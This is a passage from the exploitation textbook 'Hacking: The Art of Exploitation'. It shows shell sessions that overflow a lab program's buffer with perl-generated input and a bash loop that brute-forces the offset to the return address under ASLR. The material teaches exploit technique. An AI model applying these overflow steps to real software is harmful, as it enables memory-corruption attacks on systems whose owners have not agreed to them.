hacking-the-art-of-exploitation

eginning of the buffer. When a program exits, the value returned from the
main function is the exit status. This status is stored in the BASH variable $?,
which can be used to detect whether the program crashed.
reader@hacking:~/booksrc $ ./aslr_demo test
buffer is at 0xbfb80320
reader@hacking:~/booksrc $ echo $?
1
reader@hacking:~/booksrc $ ./aslr_demo $(perl -e 'print "AAAA"x50')
buffer is at 0xbfbe2ac0
Segmentation fault
reader@hacking:~/booksrc $ echo $?
139
reader@hacking:~/booksrc $
Using BASH’s if statement logic, we can stop our brute-forcing script
when it crashes the target. The if statement block is contained between the
keywords then and fi; the whitespace in the if statement is required. The
break statement tells the script to break out of the for loop.
reader@hacking:~/booksrc $ for i in $(seq 1 50)
> do
> echo "Trying offset of $i words"
> ./aslr_demo $(perl -e "print 'AAAA'x$i")
> if [ $? != 1 ]
> then
> echo "==> Correct offset to return address is $i words"
> break
> fi
> done
Trying offset of 1 words
buffer is at 0xbfc093b0
Trying offset of 2 words
buffer is at 0xbfd01ca0
Trying offset of 3 words
buffer is at 0xbfe45de0
Trying offset of 4 words
buffer is at 0xbfdcd560
Trying offset of 5 words
buffer is at 0xbfbf5380
Trying offset of 6 words
buffer is at 0xbffce760
Trying offset of 7 words
buffer is at 0xbfaf7a80
Trying offset of 8 words
buffer is at 0xbfa4e9d0
Trying offset of 9 words
buffer is at 0xbfacca50
Trying offset of 10 words
buffer is at 0xbfd08c80
Trying offset of 11 words
buffer is at 0xbff24ea0
Trying offset of 12 words
buffer is at 0xbfaf9a70
Countermeasures 381